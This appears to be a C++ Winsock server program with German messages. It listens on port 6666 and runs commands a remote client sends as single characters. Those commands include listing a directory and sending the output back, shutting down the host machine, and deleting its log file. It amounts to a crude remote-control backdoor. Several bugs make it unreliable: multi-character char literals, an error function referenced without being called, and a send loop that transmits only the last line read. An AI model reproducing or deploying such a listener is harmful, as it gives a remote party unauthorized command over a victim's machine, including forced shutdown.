#include "headerdateien.h"
#include <fstream>
#include <ostream>
#include <string>
using namespace std;
int startWinsock(void)
{
WSADATA wsa;
return WSAStartup(MAKEWORD(2,0),&wsa);
}
int startWinsock();
char cDaten[1024];
int iErgebnis_SendenEmpfangen;
int main(void)
{
system("echo file > log.txt");
long rc;
char cDaten_neu[5000];
SOCKET acceptSocket;
SOCKADDR_IN addr;
SOCKET connectedSocket;
rc = startWinsock();
if(rc!=0)
{
cout << "Fehler: startWinsock, Fehlercode: "<< rc << endl;
system ("PAUSE");
return 1;
}
else
{
cout << "Winsock gestartet\n";
}
acceptSocket=socket(AF_INET,SOCK_STREAM,0);
if (acceptSocket==INVALID_SOCKET)
{
cout << "Fehler der Socket konnte nicht erstellt werden, Fehlercode: " << WSAGetLastError() << endl;
system("PAUSE");
return 1;
}
else
{
cout << "Socket erstellt\n";
}
memset(&addr,0,sizeof(SOCKADDR_IN));
addr.sin_family=AF_INET;
addr.sin_port=htons(6666);
addr.sin_addr.s_addr=ADDR_ANY;
rc=bind(acceptSocket,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));
if(rc==SOCKET_ERROR)
{
cout << "Fehler: bind, fehler code:" << WSAGetLastError << endl;
system("PAUSE");
return 1;
}
else
{
cout << "Socket an port 6666 gebunden\n";
}
rc = listen(acceptSocket,10);
if (rc==SOCKET_ERROR)
{
cout << "Fehler: listen, fehler code: " << WSAGetLastError() << endl;
system("PAUSE");
return 1;
}
else
{
cout << "Server ist im listen Modus...\n";
}
connectedSocket=accept(acceptSocket,NULL,NULL);
if(connectedSocket==INVALID_SOCKET)
{
cout << "Fehler: accept, fehler code: " << WSAGetLastError()<<endl;
system("PAUSE");
return 1;
}
else
{
cout << "Neue Verbindung wurde akzeptiert!\n";
EMPFANGEN:
iErgebnis_SendenEmpfangen = recv(connectedSocket, cDaten, sizeof(cDaten),0);
if ( iErgebnis_SendenEmpfangen == -1)
{
cout << "Fehler beim Empfangen des Befehls!!\n\a\a\a";
system("PAUSE");
}
else
{
if(cDaten[0] == '0')
{
return 0;
}
else if (cDaten[0] == '1')
{
cout << cDaten << "\n";
system("dir > log.txt");
string text1;
ifstream file;
file.open("log.txt", ios::in);
while(!file.eof())
{
getline(file,text1);
strcpy(cDaten_neu, text1.c_str());
cout << cDaten_neu << endl;
}
int iDaten_gesendet = 0;
iDaten_gesendet = 0;
while(iDaten_gesendet != sizeof(cDaten_neu))
{
iErgebnis_SendenEmpfangen = send(connectedSocket, cDaten_neu, sizeof(cDaten_neu), 0);
if (iErgebnis_SendenEmpfangen < 0)
{
cout << "Fehler beim Senden des Streams!!\n";
system("PAUSE");
goto EMPFANGEN;
}
else
{
iDaten_gesendet = iDaten_gesendet + iErgebnis_SendenEmpfangen;
}
}
if(iErgebnis_SendenEmpfangen == sizeof(cDaten_neu))
{
cout << "Senden erfolgreich";
goto EMPFANGEN;
}
if(iErgebnis_SendenEmpfangen != sizeof(cDaten_neu))
{
cout << "Datenmenge konnte nicht gesendet werden!!";
system("PAUSE");
goto EMPFANGEN;
}
}
else if (cDaten[0] == '2')
{
cout << cDaten << "\n";
system("cd C: >> log.txt");
goto EMPFANGEN;
}
else if (cDaten[0] == '3')
{
cout << cDaten << "\n";
system("shutdown -s -t 60 >> log.txt");
goto EMPFANGEN;
}
else if (cDaten[0] == '4')
{
cout << cDaten << "\n";
cout << "Diese Funktion ist noch in Arbeit!!";
goto EMPFANGEN;
}
else if (cDaten[0] == '96')
{
cout << cDaten << "\n";
system("log.txt");
goto EMPFANGEN;
}
else if (cDaten[0] == '97')
{
cout << cDaten << "\n";
system("del log.txt");
goto EMPFANGEN;
}
}
}
return 0;
}